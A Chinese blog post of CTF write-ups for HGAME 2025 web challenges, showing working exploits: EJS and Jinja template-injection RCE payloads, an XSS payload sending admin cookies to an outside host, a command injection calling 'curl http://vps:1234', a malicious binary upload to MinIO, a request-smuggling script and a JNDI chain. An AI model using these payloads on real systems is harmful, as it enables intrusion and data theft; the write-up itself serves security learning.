HGAME2025-WEB

WEEK1

看看HGAME,确实好题啊。

Level 24 Pacman

JS题,前端js确实能看到疑似base64的东西,解密后再栅栏解密却是假的flag。

image-20250205004112370

对于它说的10000分,搜它的十六进制,发现有个比较的逻辑,对应0x270f,也就是9999的十六进制。

从变量能找到_SCORE,那么我们直接在console设置_SCORE=10000,然后死五次就获得了个base64,再栅栏解密得到真正的flag:

image-20250205004119424

image-20250205004134993

Level 47 BandBomb

给了个app.js,还有个上传路径。

其实本地搭好环境就知道文件目录结构是啥,public目录下的东西是被映射到/static路由下了,还有个mortis.ejs存在于views目录下。给了个rename路由,其实本地测测可以发现这里可以文件覆盖。意思可以理解为linux命令中的mv。

本来直接rename根目录下的flag到/static那个路由下的图片就出了,但是它本地根目录没放flag,估计在环境变量或者要R。

这里有几种常规做法,第一种就是前面说的直接传过去,但是失败。第二种是写计划任务看能不能弹个shell,第三种就是用它的ejs来打SSTI直接模板注入了,因为源码中写出了render这一渲染逻辑。

这里用的就是第三种方法,可以R。

文章 - Ejs模板引擎注入实现RCE - 先知社区

hxp ctf valentine ejs ssti 语法特性造成的漏洞 - Galio - 博客园

本来我想造个内存马,但是好像需要app.js的配合,但是已经启动的服务覆盖了app.js也没用,需要重启。所以只能一次渲染成功。

测了下,机子没bash,有nc,但不出网:

img

直接读env到/static目录算了:

1
<%= global.process.mainModule.require('child_process').execSync("env > /app/public/1.txt") %>

先上传到uploads目录,然后直接覆盖:

image-20250205005044113

image-20250205004640527

其实也可以直接

1
<%= process.env.FLAG %>

虽然算事后诸葛亮了,因为如果不在环境变量,阁下该如何应对?还是得R啊。

Level 69 MysteryMessageBoard

简单的XSS。

登录提示其实就是弱密码,888888进了。

image-20250205005445100

然后发现有个留言板,抓包有cookie,留言板写xss的payload能弹框。

扫路径发现个/admin,提示是admin会来看留言板,那么思路就是先在留言板写个外带cookie的payload,然后访问/admin,vps会接收到admin访问的admin_cookie。

再带admin_cookie扫路径可以发现/flag路径,带cookie访问获得flag:

1
<script>location.href="http://vps/?cookie="+document.cookie</script>

image-20250205005355739

image-20250205005419060

Level 25 双面人派对

给了俩url,开始以为是k8s,但是确实也有渊源。

下面那个可以直接读到一个main文件,不知道啥玩意,但是file查看得知是个elf,直接运行一下看看:

img

发现是个go编译的,会一直访问localhost:9000的桶子。

提示那个女人,应该是IDA给它逆一下,UPX加壳了,脱一下就行了。

IDA打开,搜索字符串发现了硬编码的ACCESS_KEY和SECRET_KEY,用的minio集群分布:

image-20250205010009560

搜一下minio的操作手册,获得了这俩玩意其实可以直接admin登录看桶子。可以用python-sdk交互也可以下mc来命令行交互,还可以编译个console来图形化操作。

连接第一个url,会发现有hint和prodbucket两个桶子,hint里给了源码,prodbucket桶子里给了个update对象,也是个elf文件,导下来发现这个elf就是我们前面获得的main文件。

那么可以尝试更新这个update为我们自己导入的恶意服务。然而这个服务还是不出网emm

看了下源码,发现对上第二个url的服务是打开了当前目录下的文件读取,那么我们直接改一下再编译成新的elf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package main

import (
"level25/fetch"

"level25/conf"

"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)

func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})

}

func program(state overseer.State) {
g := gin.Default()
//g.StaticFS("/", gin.Dir(".", true))
g.StaticFS("/", gin.Dir("/", true))
g.Run(":8080")
}

将新编译的文件命名为update,虽然发现不能直接删除桶子里的update,但是可以覆盖掉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from minio import Minio
from minio.error import S3Error

# Initialize MinIO client
client = Minio(
"node2.hgame.vidar.club:31749",
access_key="minio_admin",
secret_key="JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=",
secure=False # Set to True if using HTTPS
)

# Specify bucket and object
bucket_name = "prodbucket"
object_name = "update"
file_path = "./update" # Local path to the file you want to upload

try:
# Check if the bucket exists
if not client.bucket_exists(bucket_name):
print(f"Bucket {bucket_name} does not exist.")
else:
# Upload the file
client.fput_object(bucket_name, object_name, file_path)
print(f"File '{file_path}' has been uploaded as '{object_name}' to bucket '{bucket_name}'.")

except S3Error as e:
print(f"Error: {e}")

或者图形化:

img

虽然报错,但其实看文件大小就知道已经覆盖成功了,而这个服务确实也是实时的。

等一段时间,访问第二个url,发现已经替换成我们的恶意服务了:

img

直接读flag就行:

image-20250205010605878

当然也可以写个类似内存马那种RCE端点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Route to execute arbitrary shell command
g.POST("/exec", func(c *gin.Context) {
command := c.PostForm("command")
if command == "" {
c.JSON(400, gin.H{"error": "No command provided"})
return
}

output, err := exec.Command("sh", "-c", command).CombinedOutput()
if err != nil {
c.JSON(500, gin.H{"error": err.Error(), "output": string(output)})
return
}

c.JSON(200, gin.H{"output": string(output)})
})

Level 38475 角落

打开一个留言板,看题目描述还以为又是XSS。

但其实不是。

扫路径能扫到robots.txt,给了个app.conf,读一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

乍一看没啥用,就下面的rewrite逻辑有点东西。

大米老师还真搜到了,牛的:

Apache - HackTricks

image-20250205170940950

ACL-Bypass。

意思就是可以越权路径读文件了:

img

但是不能穿越目录好像。

那么我们直接将源码一把抓住,顷刻炼化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
# print(pwd)
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')


@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

我还多读了一些东西,本地想跑跑试试。

看到下面的render一眼SSTI,试了下确实能直接回显,但是左花括号{基本给你ban,那怎么办?

看一眼容器名称-raceout。

条件竞争没跑了。

多线程直接跑/send,一边传冗余长一点的文件卡它的readmsg(),一边传SSTI-payload,直接顷刻炼化了:

image-20250205171559597

(这里用的那个misc的文件来当冗余信息,内部消化挺好用,一打一个准😋😋😋)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests
import threading

# Define the URLs
send_url = 'http://node2.hgame.vidar.club:30544/app/send'
read_url = 'http://node2.hgame.vidar.club:30544/app/read'

# Define the messages
malicious_message = '{{"".__class__.__bases__[0].__subclasses__()[140].__init__.__globals__["__builtins__"]["__import__"]("os").popen("cat /flag").read()}}'
# here I got os._wrap_close to RCE

# Function to read the content of a file
def read_file_content(file_path):
with open(file_path, 'r') as file:
return file.read()


# Function to send a message
def send_message(message):
response = requests.post(send_url, data={'message': message})
return response


# Function to read the message
def read_message():
response = requests.get(read_url)
return response.text


# Function to perform the race condition
def race_condition():
# Read the normal message from a file
normal_message = read_file_content("F:\\Study\\CTF\\HGAME2025\\misc\\hky.txt")

while True:
# Send both messages simultaneously
threading.Thread(target=send_message, args=(normal_message,)).start()
threading.Thread(target=send_message, args=(malicious_message,)).start()

# Read the message
response = read_message()
print(response)

# Check if useful output is in the response
#if 'class' in response:
if 'hgame' in response:
print('Race condition successful, stopping...')
break

# Run the race condition in a separate thread
thread = threading.Thread(target=race_condition)
thread.start()
thread.join()

image-20250205171550573

WEEK1轻松拿下:

image-20250205171615663


WEEK2

来看看WEEK2的。

Level 21096 HoneyPot

审计源码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
func ImportData(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}
if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}

config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
if manager.db == nil {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect to local database: " + err.Error(),
})
return
}

if err := db.Ping(); err != nil {
db.Close()
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to ping local database: " + err.Error(),
})
return
}

manager.db = db
}
if err := createdb(config.LocalDatabase); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create local database: " + err.Error(),
})
return
}
//Never able to inject shell commands,Hackers can't use this,HaHa
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
config.RemoteHost,
config.RemoteUsername,
config.RemotePassword,
config.RemoteDatabase,
localConfig.Username,
localConfig.Password,
config.LocalDatabase,
)
fmt.Println(command)
cmd := exec.Command("sh", "-c", command)
//cmd := exec.Command("cmd", "/C", command)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Data imported successfully",
})
}

func sanitizeInput(input string) string {
reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\]`)
return reg.ReplaceAllString(input, "")
}

可以发现RemotePassword没有被正则匹配,所以可以直接在这里打命令注入:

1
sh -c mysqldump -h vps -u root -p;curl http://vps:1234 hahaha |mysql -h 127.0.0.1 -u root -proot test

POST传参:

1
{"remote_host":"vps","remote_port":"3306","remote_username":"root","remote_password":";curl http://vps:1234;","remote_database":"hahaha","local_database":"test"}

image-20250214013529080

image-20250214005657345

Level 21096 HoneyPot_Revenge

审计源码,发现所有的传参都被正则了,而且正则是白名单:

1
2
3
4
5
6
7
func sanitizeInput(input string) string {
sanitized := strings.TrimSpace(input)
if matched, _ := regexp.MatchString(`^[a-zA-Z0-9_.-]+$`, sanitized); !matched {
return ""
}
return sanitized
}

不能直接命令注入了。

这里我是没打出来,而且后面也懒得看了。官方wp的做法是本地起一个mysql,让导⼊语句获取到恶意的sql,从而导入进mysql语句来进⾏RCE,触发/writeflag来触发RCE。

思路就是去更改MySQL的版本号,从而注入\!来R。

貌似是打的mysqldump的CVE:CVE-2024-21096:MySQLDump提权漏洞分析 - FreeBuf网络安全行业门户

就是用版本信息来打的。有兴趣可以去看看。这里就不复现了。

Level 60 SignInJava

审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@RequestMapping({"/api"})
public class APIGatewayController {
public APIGatewayController() {
}

@RequestMapping(
value = {"/gateway"},
method = {RequestMethod.POST}
)
@ResponseBody
public BaseResponse doPost(HttpServletRequest request) throws Exception {
try {
String body = IOUtils.toString(request.getReader());
Map<String, Object> map = (Map)JSON.parseObject(body, Map.class);
String beanName = (String)map.get("beanName");
String methodName = (String)map.get("methodName");
Map<String, Object> params = (Map)map.get("params");
if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence[]{"flag"})) {
return new BaseResponse(403, "flagTestService offline", (Object)null);
} else {
Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
return new BaseResponse(200, (String)null, result);
}
} catch (Exception e) {
return new BaseResponse(500, ((Throwable)Objects.requireNonNullElse(e.getCause(), e)).getMessage(), (Object)null);
}
}
}

可以发现这里需要提供Spring的bean,可以对应到类上,提供该bean类的方法和参数,然后就会invoke触发这个方法。

当然给的FlagTestService#catFlag触发不了,因为flag这里被ban了而且绕不了。

但是转念一想,这里既然都能invoke直接触发方法了,那么我们能不能找到一个bean类先使用这个代码注册一个恶意bean,然后在调用这个恶意bean的方法来R呢?

这个方法是可行的。本地调试的时候将视角放到了cn.hutool的一系列包,从中找到了一个完美契合需求的东西(感觉出题人就是为了这叠醋才包了这盘饺子吧):

1
cn.hutool.extra.spring.SpringUtil#registerBean

image-20250219004318408

这个方法可以帮助我们注册一个恶意bean对象,那么需要注册的能实现RCE的也能找到:

1
cn.hutool.core.util.RuntimeUtil#execForStr

image-20250219004444051

image-20250219004452969

游戏结束了。

srds应该能找到的恶意类不止这个,在它包里能用的应该还有其他的。

思路出来了,第一次注册一个恶意bean,名字取作evilCmd,beanName提供为cn.hutool.extra.spring.SpringUtil,注册类为cn.hutool.core.RuntimeUtil,注意这里注册类要使用@type

1
2
3
4
5
{
"beanName": "cn.hutool.extra.spring.SpringUtil",
"methodName": "registerBean",
"params": {"arg0":"evilCmd","arg1":{"@type":"cn.hutool.core.util.RuntimeUtil"}}
}

然后直接触发:

1
2
3
4
5
{
"beanName": "evilCmd",
"methodName": "execForStr",
"params": {"arg0":["ipconfig"]}
}

注意这里要传数组形式,也就是写个中括号那种。

img

远程一把通,但是反弹shell有点问题,可能是不出网,这里就直接读了:

image-20250219005621394

Level 111 不存在的车厢

给的源码可以发现它自己分了前后端逻辑,前端用proxy接收HTTP请求,后端自己写了个H111协议接收proxy交付的请求并给出response。

这里其实很容易想到HTTP请求走私的打法,而这里只需要找到前后端分段出现歧义的地方,就可以在前端GET访问/时同时走私POST请求让后端访问/flag

注意到:

image-20250214005955940

bodyLength使用的是uint16储存,即范围为:

1
0-65535

而且GET请求其实是能携带body的,所以这里就可以打一个请求的溢出,第一段溢出让他丢弃前面65535长度的包从而把后面走私的POST请求当作新的请求向后端要flag。

只是本地和靶机跑的时候容易宕机,本地调试的时候也容易死,远程是大概打2-3次可以走私成功直接获得flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main

import (
"bytes"
"fmt"
"io"
"net/http"
)

func main() {

anyChars := []byte("whatever")
expected := []byte{
0x00, 0x04, // method length
0x50, 0x4f, 0x53, 0x54, // method: POST
0x00, 0x05, // URI length
0x2f, 0x66, 0x6c, 0x61, 0x67, // URI: /flag
0x00, 0x00, // header count
0x00, 0x00, // body length
}
padding := make([]byte, 65519) // 65536 - 17 = 65519
body := append(anyChars, expected...)
body = append(body, padding...)

// 创建请求
req, err := http.NewRequest("GET", "http://175.27.221.240:30154", bytes.NewReader(body))
if err != nil {
fmt.Println("error creating request:", err)
return
}
req.Header.Set("Content-Length", fmt.Sprintf("%d", len(body)))

// 发送请求
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("error sending request:", err)
return
}
defer resp.Body.Close()

// 读取响应
respBody, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("error reading response:", err)
return
}

fmt.Println("Response received:", string(respBody))
}

img

go 中的uint16、int16 、int32区别和转换问题及其他细节理解-CSDN博客

HTTP 请求走私漏洞详解_request smuggling-CSDN博客

高级漏洞篇之HTTP请求走私专题 - FreeBuf网络安全行业门户

Level 257 日落的紫罗兰

最喜欢的一道,这道题拿下了一血。

image-20250214010406872

给了两个tcp容器,很容易发现第一个是ssh的服务,第二个是一个redis的服务,题目给出了user.txt,最开始还以为是打ssh的爆破,大米老师在这里爆了很久很久hhh

其实不然,发现第二个是redis后,就能想到可能是打redis的枚举用户登录,然后写公钥或者写计划任务反弹shell这种。

找到工具可以一键打用户枚举并写公钥:

image-20250214010730959

发现mysid用户已经写入了我们的公钥,那么直接SSH连接第一个靶机:

image-20250214010755617

拿到shell后,可以发现根目录确实有flag,但是没权限读。

image-20250214010919987

suid提权也无果,ps -aux看看进程:

image-20250214010952032

发现/app下以root权限启动了一个jar包,那么接下来不出意料就是打java了。

拖下源码进行审计:

image-20250214011107140

使用的是search方法来进行ldap服务客户端的配置,这里直接打JNDI不可行。

而且ssh那个机子其实没有发现服务端的东西,源码配置里的ldapurl是本地的389端口,而机器上389端口啥也没有。

那么我们的思路应该就是自己写一个恶意LdapServer上去,然后RCE。

这道题原题被赵哥一眼丁真了,太赛棍了:

[JQCTF2024、RCTF2024 Web Writeup - Boogiepop Doesn’t Laugh](https://boogipop.com/2024/05/27/JQCTF2024、RCTF2024 Web Writeup/#OpenYourEyesToSeeTheWorld)

思路如上不在赘述,打一个Jackson的POJONode触发就可以JNDI了。

本地调试直接通了:

img

但是有个问题是远程环境是不出网的,所以不能直接反弹个root的shell。

但是ssh我们能直接登录,所以不需要打内存马,只需要chmod个777就ok。

靶机还贴心的给了curl,那么我们直接在ssh机器上交互就完事了,虽然有等号=的黑名单,原题用json下的unicode绕过,我们可以直接url编码绕过:

1
curl -X POST http://127.0.0.1:8080/search -d "baseDN=dc%3Djavasec,dc%3Deki,dc%3Dxyz%2F0&filter=(cn%3Dtest)"

那么怎么把这个服务弄过去呢?

我们还能发现java并没有在/bin或者/usr/bin里:

img

而且还有个问题,由于389端口低于1000,而低于1000的端口一般没root不能自己起。所以直接传jar包过去本地起这个做法肯定是行不通的。

所以需要用类似打渗透的思路解题,这里很容易想到ssh的端口转发,我们在vps上起这个服务,然后转发到这个ssh的389端口:

1
ssh -i ~/.ssh/id_rsa -p 30376 -R 389:localhost:389 -R 8888:localhost:8888 mysid@node1.hgame.vidar.club -N

image-20250214012030837

image-20250214012115679

酣畅淋漓,大快人心!


后记

总之这次的hgame题目质量不错,第二周也还是挺好玩的。


HGAME2025-WEB
https://eddiemurphy89.github.io/2025/02/04/HGAME2025-WEB/
作者
EddieMurphy
发布于
2025年2月4日
许可协议